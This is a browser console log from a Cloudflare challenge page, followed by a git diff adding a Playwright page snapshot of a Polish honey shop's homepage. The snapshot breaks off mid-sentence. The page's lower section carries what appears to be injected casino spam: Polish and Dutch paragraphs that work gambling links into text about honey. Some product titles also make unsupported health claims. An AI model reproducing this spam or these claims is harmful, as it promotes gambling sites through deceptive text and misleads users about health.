https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 8615ms] [ERROR] This document requires 'TrustedHTML' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 8615ms] [ERROR] This document requires 'TrustedHTML' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 8616ms] [ERROR] This document requires 'TrustedScript' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 8616ms] [ERROR] This document requires 'TrustedScript' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 8616ms] [ERROR] This document requires 'TrustedScriptURL' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 8617ms] [ERROR] This document requires 'TrustedScriptURL' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 9502ms] [ERROR] Executing inline script violates the following Content Security Policy directive 'script-src 'nonce-MD3SkwN834d0vWk3dOxF1l' 'unsafe-eval''. Either the 'unsafe-inline' keyword, a hash ('sha256-eJGI0Ik4oYe/PKLDOt4wcN76wYs8h+Ew05pMzdY6xG8='), or a nonce ('nonce-...') is required to enable inline execution. The action has been blocked. @ about:srcdoc:0 +[ 9502ms] [ERROR] Executing inline script violates the following Content Security Policy directive 'script-src 'nonce-MD3SkwN834d0vWk3dOxF1l' 'unsafe-eval''. Either the 'unsafe-inline' keyword, a hash ('sha256-eJGI0Ik4oYe/PKLDOt4wcN76wYs8h+Ew05pMzdY6xG8='), or a nonce ('nonce-...') is required to enable inline execution. The action has been blocked. @ about:srcdoc:0 +[ 9503ms] [ERROR] This document requires 'TrustedScript' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 9503ms] [ERROR] This document requires 'TrustedScript' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10494ms] [ERROR] Executing inline script violates the following Content Security Policy directive 'script-src 'nonce-QiernSwfTZVig05mz7oQnL' 'unsafe-eval''. Either the 'unsafe-inline' keyword, a hash ('sha256-eJGI0Ik4oYe/PKLDOt4wcN76wYs8h+Ew05pMzdY6xG8='), or a nonce ('nonce-...') is required to enable inline execution. The action has been blocked. @ about:srcdoc:0 +[ 10494ms] [ERROR] Executing inline script violates the following Content Security Policy directive 'script-src 'nonce-QiernSwfTZVig05mz7oQnL' 'unsafe-eval''. Either the 'unsafe-inline' keyword, a hash ('sha256-eJGI0Ik4oYe/PKLDOt4wcN76wYs8h+Ew05pMzdY6xG8='), or a nonce ('nonce-...') is required to enable inline execution. The action has been blocked. @ about:srcdoc:0 +[ 10495ms] [ERROR] This document requires 'TrustedScript' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10495ms] [ERROR] This document requires 'TrustedScript' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10598ms] [LOG] /.*.*=.*/ @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10599ms] [LOG] /.*.*=.*/ @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10600ms] [LOG] function () { [native code] } @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10600ms] [LOG] function () { [native code] } @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10600ms] [LOG] JSHandle@node @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10601ms] [LOG] JSHandle@node @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10601ms] [COUNT] : 1 @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10601ms] [COUNT] : 1 @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10602ms] [DIR] Error @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10603ms] [DIR] Error @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10603ms] [DIRXML] %c%d font-size:0;color:transparent Error @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10603ms] [DIRXML] %c%d font-size:0;color:transparent Error @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10604ms] [ERROR] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10604ms] [ERROR] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10605ms] [INFO] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10605ms] [INFO] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10605ms] [LOG] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10606ms] [LOG] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10606ms] [TABLE] %c%d font-size:0;color:transparent Error @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10606ms] [TABLE] %c%d font-size:0;color:transparent Error @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10607ms] [WARNING] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 10608ms] [WARNING] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 13535ms] [WARNING] The resource https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1 was preloaded using link preload but not used within a few seconds from the window's load event. Please make sure it has an appropriate `as` value and it is preloaded intentionally. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 16110ms] [WARNING] The resource https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1 was preloaded using link preload but not used within a few seconds from the window's load event. Please make sure it has an appropriate `as` value and it is preloaded intentionally. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 16157ms] [WARNING] The resource https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1 was preloaded using link preload but not used within a few seconds from the window's load event. Please make sure it has an appropriate `as` value and it is preloaded intentionally. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 diff --git a/.playwright-mcp/page-2026-04-28T20-17-33-095Z.yml b/.playwright-mcp/page-2026-04-28T20-17-33-095Z.yml new file mode 100644 index 000000000..161358c14 --- /dev/null +++ b/.playwright-mcp/page-2026-04-28T20-17-33-095Z.yml @@ -0,0 +1,556 @@ +- generic [active] [ref=e1]: + - generic [ref=e2]: + - banner [ref=e3]: + - generic [ref=e4]: + - text:                  + - generic [ref=e9]: + - text:          + - link "logo-1" [ref=e13] [cursor=pointer]: + - /url: https://krolewskie-miody.pl + - img "logo-1" [ref=e14] + - list [ref=e17]: + - listitem [ref=e18]: + - link "Królewskie Miody – Naturalne i zdrowe 🍯🐝🎁" [ref=e19] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/ + - generic [ref=e22]: Królewskie Miody – Naturalne i zdrowe 🍯🐝🎁 + - text:  + - listitem [ref=e23]: + - link "Sklep Online – Miód, Pyłek, Mleczko " [ref=e24] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/sklep/ + - generic [ref=e27]: Sklep Online – Miód, Pyłek, Mleczko + - generic [ref=e29]:  + - text:         + - listitem [ref=e30]: + - link "Blog – wiedza o miodzie i pszczołach" [ref=e31] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/blog/ + - generic [ref=e34]: Blog – wiedza o miodzie i pszczołach + - text:  + - listitem [ref=e35]: + - link "Nasza Pasieka i Historia Pszczelarza" [ref=e36] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/o-nas/ + - generic [ref=e39]: Nasza Pasieka i Historia Pszczelarza + - text:  + - listitem [ref=e40]: + - link "Kontakt" [ref=e41] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/kontakt/ + - generic [ref=e44]: Kontakt + - text:  + - link [ref=e47] [cursor=pointer]: + - /url: "#" + - img [ref=e49] + - generic [ref=e53]: + - link [ref=e54] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/moje-konto/ + - img [ref=e56] + - text:   + - link "0 0,00 zł" [ref=e61] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/koszyk/ + - generic [ref=e62]: + - img [ref=e63] + - generic [ref=e66]: "0" + - paragraph [ref=e68]: 0,00 zł + - main [ref=e69]: + - main [ref=e71]: + - generic [ref=e72]: + - generic [ref=e73]: + - generic [ref=e78]: + - heading "Królewskie Miody" [level=2] [ref=e82] + - heading "brakujący element twojego zdrowia" [level=2] [ref=e85] + - heading "Królewskie Miody to sprawdzona pasieka z Podkarpacia. Miód naturalny to nasz główny produkt handlowy. Pozyskujemy również pyłek pszczeli, pierzgę i propolis." [level=4] [ref=e88] + - link "Zobacz ofertę" [ref=e91] [cursor=pointer]: + - /url: /sklep + - generic [ref=e92]: Zobacz ofertę + - generic [ref=e95]: + - separator [ref=e101] + - generic [ref=e103]: + - heading "Witamy w Królewskich Miodach, miejscu, gdzie tradycja pszczelarska łączy się z pasją i miłością do natury." [level=4] [ref=e107] + - generic [ref=e110]: + - paragraph [ref=e111]: Nasze miody powstają w sercu podkarpacia, w czystym i nieskażonym środowisku, dzięki czemu zachowują swój wyjątkowy smak i aromat. + - paragraph [ref=e112]: Dbamy o to, aby nasze pszczoły miały najlepsze warunki do pracy, co przekłada się na jakość naszych miodów. + - paragraph [ref=e113]: + - text: Oferujemy miody tradycyjne zapakowane w stylowe opakowania, zestawy upominkowe oraz ciekawe kosze prezentowe. + - text: Jako sprzedawcy dbamy aby nasz miód z pasieki dawał pełne zadowolenie naszym Partnerom i Klientom indywidualnym. + - link "Zobacz nasze miody" [ref=e116] [cursor=pointer]: + - /url: /sklep + - generic [ref=e117]: Zobacz nasze miody + - generic [ref=e122]: + - heading "Zobacz jak powstają nasze miody" [level=3] [ref=e126] + - link "Dowiedz się więcej" [ref=e129] [cursor=pointer]: + - /url: /o-nas + - generic [ref=e130]: Dowiedz się więcej + - generic [ref=e138]: + - heading "Dlaczego warto wybrać nasze miody?" [level=3] [ref=e142] + - generic [ref=e145]: + - img "honey-pic13" [ref=e147] + - heading "Naturalne i nieprzetworzone" [level=4] [ref=e149] + - generic [ref=e152]: + - img "honey-pic14" [ref=e154] + - heading "Bez dodatku sztucznych barwników i konserwantów" [level=4] [ref=e156] + - generic [ref=e159]: + - img "honey-pic15" [ref=e161] + - heading "Prosto od polskiego pszczelarza" [level=4] [ref=e163] + - generic [ref=e168]: + - heading "Nasze produkty" [level=2] [ref=e172] + - list [ref=e177]: + - listitem [ref=e178]: + - generic [ref=e180]: + - generic [ref=e181]: W promocji + - generic [ref=e182]: + - link "Miód Nektarowo-Spadziowy 400g – Leśny skarb z Podkarpacia | Królewskie Miody" [ref=e183] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/produkt/miod-nektarowo-spadziowy-400g/ + - img "Miód Nektarowo-Spadziowy 400g – Leśny skarb z Podkarpacia | Królewskie Miody" [ref=e185] + - link [ref=e187] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/produkt/miod-nektarowo-spadziowy-400g/ + - img [ref=e188] + - link "Miód Nektarowo-Spadziowy 400g – Leśny skarb z Podkarpacia | Królewskie Miody": + - /url: https://krolewskie-miody.pl/produkt/miod-nektarowo-spadziowy-400g/ + - generic [ref=e193] [cursor=pointer]:  + - generic [ref=e194]: + - heading "Miód Nektarowo-Spadziowy 400g – Leśny skarb z Podkarpacia | Królewskie Miody" [level=4] [ref=e195]: + - link "Miód Nektarowo-Spadziowy 400g – Leśny skarb z Podkarpacia | Królewskie Miody" [ref=e196] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/produkt/miod-nektarowo-spadziowy-400g/ + - generic [ref=e197]: + - generic [ref=e199]: 25,00 zł + - text: – + - generic [ref=e201]: 50,00 zł + - generic [ref=e202]: "Zakres cen: od 25,00 zł do 50,00 zł" + - listitem [ref=e203]: + - generic [ref=e205]: + - generic [ref=e206]: + - link "Miód Borówkowy z borówki amerykańskiej – Rzadki, aromatyczny miód na oczy | Królewskie Miody" [ref=e207] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/produkt/miod-borowkowy-400g/ + - img "Miód Borówkowy z borówki amerykańskiej – Rzadki, aromatyczny miód na oczy | Królewskie Miody" [ref=e209] + - link [ref=e211] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/produkt/miod-borowkowy-400g/ + - img [ref=e212] + - link "Miód Borówkowy z borówki amerykańskiej – Rzadki, aromatyczny miód na oczy | Królewskie Miody": + - /url: https://krolewskie-miody.pl/produkt/miod-borowkowy-400g/ + - generic [ref=e217] [cursor=pointer]:  + - generic [ref=e218]: + - heading "Miód Borówkowy z borówki amerykańskiej – Rzadki, aromatyczny miód na oczy | Królewskie Miody" [level=4] [ref=e219]: + - link "Miód Borówkowy z borówki amerykańskiej – Rzadki, aromatyczny miód na oczy | Królewskie Miody" [ref=e220] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/produkt/miod-borowkowy-400g/ + - generic [ref=e221]: + - generic [ref=e223]: 25,00 zł + - text: – + - generic [ref=e225]: 50,00 zł + - generic [ref=e226]: "Zakres cen: od 25,00 zł do 50,00 zł" + - listitem [ref=e227]: + - generic [ref=e229]: + - generic [ref=e230]: + - link "Miód mniszkowy (z mniszka lekarskiego) 400g – Wiosenny skarb i naturalne wsparcie | Królewskie Miody" [ref=e231] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/produkt/miod-mniszkowy-400g/ + - img "Miód mniszkowy (z mniszka lekarskiego) 400g – Wiosenny skarb i naturalne wsparcie | Królewskie Miody" [ref=e233] + - link [ref=e235] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/produkt/miod-mniszkowy-400g/ + - img [ref=e236] + - link "Miód mniszkowy (z mniszka lekarskiego) 400g – Wiosenny skarb i naturalne wsparcie | Królewskie Miody": + - /url: https://krolewskie-miody.pl/produkt/miod-mniszkowy-400g/ + - generic [ref=e241] [cursor=pointer]:  + - generic [ref=e242]: + - heading "Miód mniszkowy (z mniszka lekarskiego) 400g – Wiosenny skarb i naturalne wsparcie | Królewskie Miody" [level=4] [ref=e243]: + - link "Miód mniszkowy (z mniszka lekarskiego) 400g – Wiosenny skarb i naturalne wsparcie | Królewskie Miody" [ref=e244] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/produkt/miod-mniszkowy-400g/ + - generic [ref=e245]: + - generic [ref=e247]: 25,00 zł + - text: – + - generic [ref=e249]: 50,00 zł + - generic [ref=e250]: "Zakres cen: od 25,00 zł do 50,00 zł" + - listitem [ref=e251]: + - generic [ref=e253]: + - generic [ref=e254]: + - link "Miód Faceliowy 1,25 kg – \"Królewski\" miód o łagodnym smaku | Królewskie Miody" [ref=e255] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/produkt/miod-faceliowy-125-kg/ + - img "Miód Faceliowy 1,25 kg – \"Królewski\" miód o łagodnym smaku | Królewskie Miody" [ref=e257] + - link [ref=e259] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/produkt/miod-faceliowy-125-kg/ + - img [ref=e260] + - link "Miód Faceliowy 1,25 kg – \"Królewski\" miód o łagodnym smaku | Królewskie Miody": + - /url: https://krolewskie-miody.pl/produkt/miod-faceliowy-125-kg/ + - generic [ref=e265] [cursor=pointer]:  + - generic [ref=e266]: + - heading "Miód Faceliowy 1,25 kg – „Królewski” miód o łagodnym smaku | Królewskie Miody" [level=4] [ref=e267]: + - link "Miód Faceliowy 1,25 kg – „Królewski” miód o łagodnym smaku | Królewskie Miody" [ref=e268] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/produkt/miod-faceliowy-125-kg/ + - generic [ref=e271]: 50,00 zł + - listitem [ref=e272]: + - generic [ref=e274]: + - generic [ref=e275]: + - link "Miód Nawłociowy 1,25 kg – Słoneczny miód na układ moczowy i prostatę | Królewskie Miody" [ref=e276] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/produkt/miod-nawlociowy-1-25-kg/ + - img "Miód Nawłociowy 1,25 kg – Słoneczny miód na układ moczowy i prostatę | Królewskie Miody" [ref=e278] + - generic [ref=e279]: + - link [ref=e280] [cursor=pointer]: + - /url: /?add-to-cart=167 + - img [ref=e281] + - link [ref=e284] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/produkt/miod-nawlociowy-1-25-kg/ + - img [ref=e285] + - link "Miód Nawłociowy 1,25 kg – Słoneczny miód na układ moczowy i prostatę | Królewskie Miody": + - /url: https://krolewskie-miody.pl/produkt/miod-nawlociowy-1-25-kg/ + - generic [ref=e290] [cursor=pointer]:  + - generic [ref=e291]: + - heading "Miód Nawłociowy 1,25 kg – Słoneczny miód na układ moczowy i prostatę | Królewskie Miody" [level=4] [ref=e292]: + - link "Miód Nawłociowy 1,25 kg – Słoneczny miód na układ moczowy i prostatę | Królewskie Miody" [ref=e293] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/produkt/miod-nawlociowy-1-25-kg/ + - generic [ref=e296]: 50,00 zł + - listitem [ref=e297]: + - generic [ref=e299]: + - generic [ref=e300]: + - link "Miód wielokwiatowy - wczesna wiosna" [ref=e301] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/produkt/miod-wielokwiatowy-wczesna-wiosna-900ml-1-25kg/ + - img "Miód wielokwiatowy - wczesna wiosna" [ref=e303] + - generic [ref=e304]: + - link [ref=e305] [cursor=pointer]: + - /url: /?add-to-cart=155 + - img [ref=e306] + - link [ref=e309] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/produkt/miod-wielokwiatowy-wczesna-wiosna-900ml-1-25kg/ + - img [ref=e310] + - link "Miód wielokwiatowy - wczesna wiosna": + - /url: https://krolewskie-miody.pl/produkt/miod-wielokwiatowy-wczesna-wiosna-900ml-1-25kg/ + - generic [ref=e315] [cursor=pointer]:  + - generic [ref=e316]: + - heading "Miód wielokwiatowy – wczesna wiosna" [level=4] [ref=e317]: + - link "Miód wielokwiatowy – wczesna wiosna" [ref=e318] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/produkt/miod-wielokwiatowy-wczesna-wiosna-900ml-1-25kg/ + - generic [ref=e321]: 49,00 zł + - link "Przejdź do sklepu" [ref=e324] [cursor=pointer]: + - /url: /sklep + - generic [ref=e325]: Przejdź do sklepu + - heading "Zobacz opinie naszych klientów" [level=2] [ref=e334] + - generic [ref=e340]: + - heading "Nasza pasieka to owoc wieloletniej pracy i doświadczenia. Każdy słoik miodu to dla nas cenny dar natury, który chcemy zaoferować naszym klientom." [level=4] [ref=e344] + - generic [ref=e347]: + - paragraph [ref=e348]: Etap zbioru miodu od kwiatów do słoika kontroluje weterynaria natomiast od momentu załączenie etykiety na słoik przejmuje WIHARS i SANEPID. + - paragraph [ref=e349]: Profesjonalna i szybka obsługa oraz najwyższe standardy jakości to nasze atuty. Prowadzimy sprzedaż wysyłkową miodu pasiecznego od 2008 r dlatego dbamy o każdy szczegół związany z wysyłką. + - paragraph [ref=e350]: Zapraszamy do rozkoszowania się ich smakiem i aromatem, a także doświadczenia ich właściwości zdrowotnych znanych od wieków. + - generic [ref=e351]: + - paragraph [ref=e352]: + - text: Nie bez powodu + - link "slottica" [ref=e353] [cursor=pointer]: + - /url: https://slottica.com.pl/ + - text: cieszy się dużą popularnością — oferuje różnorodne gry i wyjątkowe promocje dla każdego gracza. + - paragraph [ref=e354]: + - text: Platforma + - link "nine casino" [ref=e355] [cursor=pointer]: + - /url: https://ninecasino-poland.pl/ + - text: stale rozszerza swoją ofertę, przyciągając nowych użytkowników i oferując atrakcyjne promocje. + - paragraph [ref=e356]: + - text: Bez względu na preferencje graczy, + - link "Parimatch" [ref=e357] [cursor=pointer]: + - /url: https://parimatchvpolsce.pl/ + - text: zapewnia szeroki wybór możliwości i pełne zaangażowanie w jakość usług. + - paragraph [ref=e358]: + - text: Królewskie Miody staat voor geduld, natuurlijke balans en het respecteren van het ritme van de seizoenen, waar kwaliteit ontstaat door aandacht en zorgvuldige processen. In een vergelijkbare, bewuste benadering van keuzevrijheid kan + - link "hash lucky casino" [ref=e359] [cursor=pointer]: + - /url: https://hashlucky-game.nl/ + - text: worden gezien als een afzonderlijk online moment dat men rustig en binnen persoonlijke grenzen benadert. + - paragraph [ref=e360]: + - text: De wereld van ambachtelijke honing draait om harmonie tussen natuur en mens, waarbij elke stap met aandacht wordt uitgevoerd. Vanuit dat idee van evenwicht en maatvoering past + - link "crystal roll casino" [ref=e361] [cursor=pointer]: + - /url: https://newcrystalroll.nl/ + - text: binnen een digitale ruimte waar tempo en grenzen bewust worden bepaald. + - paragraph [ref=e362]: + - text: Królewskie Miody benadrukt dat echte waarde ontstaat door geduld en consistentie, niet door haast of overdaad. In dezelfde rustige logica kan + - link "gigaspinz casino" [ref=e363] [cursor=pointer]: + - /url: https://gigaspinz-online.nl/ + - text: functioneren als een online activiteit die men met zelfcontrole en maat kiest. + - paragraph [ref=e364]: + - text: Zoals bij het verzamelen van honing elk detail telt en de juiste timing essentieel is, draait het bij Królewskie Miody om natuurlijke balans. Met diezelfde aandacht voor ritme kan + - link "slotLair casino" [ref=e365] [cursor=pointer]: + - /url: https://slotlair-game.nl/ + - text: worden benaderd als een digitale keuze binnen duidelijke kaders. + - paragraph [ref=e366]: + - text: De zorg voor kwaliteit en authenticiteit staat centraal bij Królewskie Miody, waar processen niet worden overhaast maar zorgvuldig worden begeleid. Vanuit die gedachte kan + - link "seven casino" [ref=e367] [cursor=pointer]: + - /url: https://7casino-nl.nl/ + - text: worden gezien als een online moment dat bewust wordt ingepland. + - paragraph [ref=e368]: + - text: Królewskie Miody bouwt op traditie en respect voor natuurlijke cycli, waarin evenwicht belangrijker is dan snelheid. In een vergelijkbare digitale context past + - link "vipzino casino" [ref=e369] [cursor=pointer]: + - /url: https://vipzino-slot.nl/ + - text: als een activiteit die men met aandacht en binnen eigen grenzen kiest. + - paragraph [ref=e370]: + - text: Het ambacht achter honingproductie vraagt rust en een duidelijke structuur, zodat alles in harmonie blijft met de omgeving. Vanuit die benadering kan + - link "novadreams casino" [ref=e371] [cursor=pointer]: + - /url: https://novadreams-nl.nl/ + - text: worden beschouwd als een afzonderlijk online kanaal dat men bewust selecteert. + - paragraph [ref=e372]: + - text: Królewskie Miody laat zien dat kwaliteit voortkomt uit balans en respect voor het proces, zonder overmatige druk of impulsiviteit. In diezelfde lijn kan + - link "monixbet casino" [ref=e373] [cursor=pointer]: + - /url: https://monixbet-slots.nl/ + - text: functioneren als een digitale keuze binnen persoonlijke maatvoering. + - paragraph [ref=e374]: + - text: Zoals honing zich langzaam ontwikkelt tot een verfijnd product, benadrukt Królewskie Miody het belang van tijd en aandacht. Met diezelfde focus op beheersing kan + - link "starzino casino" [ref=e375] [cursor=pointer]: + - /url: https://starzino-nl.nl/ + - text: worden gezien als een online moment dat men zorgvuldig benadert. + - paragraph [ref=e376]: + - text: De natuurlijke harmonie die Królewskie Miody uitstraalt, herinnert eraan dat balans essentieel is in elke omgeving. Vanuit dat perspectief past + - link "zumospin casino" [ref=e377] [cursor=pointer]: + - /url: https://zumospin-slots.nl/ + - text: binnen een digitale ruimte waar keuzes bewust worden gemaakt. + - paragraph [ref=e378]: + - text: Królewskie Miody verbindt traditie met consistentie en een duidelijke structuur, waarin elk element bijdraagt aan het geheel. In dezelfde logica kan + - link "lunarspins casino" [ref=e379] [cursor=pointer]: + - /url: https://lunarspins-online.nl/ + - text: worden benaderd als een online activiteit die binnen persoonlijke grenzen en met aandacht wordt gekozen. + - paragraph [ref=e380]: + - text: Królewskie Miody buduje swoją markę wokół naturalności, tradycji pszczelarskiej oraz konsekwentnej dbałości o jakość, podkreślając że prawdziwa wartość powstaje z cierpliwości, kontroli procesu i odpowiedzialnego podejścia do każdego etapu produkcji, gdzie równowaga między naturą a strukturą działania stanowi fundament stabilności, a w tej filozofii świadomego wyboru pojawia się również wymiar cyfrowy związany z + - link "nv casino bonus" [ref=e381] [cursor=pointer]: + - /url: https://nv-casino-bonus.pl/ + - text: casino, gdzie przejrzyste zasady, jasno określone warunki i uporządkowana dynamika podkreślają znaczenie kontroli oraz przemyślanej decyzji. + - paragraph [ref=e382]: + - text: Rozwijając koncepcję harmonii i konsekwencji w budowaniu długoterminowej wartości, Królewskie Miody akcentują znaczenie planowania, stabilności i odpowiedzialnego zarządzania zasobami, wskazując że nawet w dynamicznym środowisku kluczowe pozostaje zachowanie struktury i jasnych reguł, a w tej perspektywie cyfrowej interakcji odniesienie znajduje + - link "szymool" [ref=e383] [cursor=pointer]: + - /url: https://szymool-casino.pl/ + - text: casino, gdzie 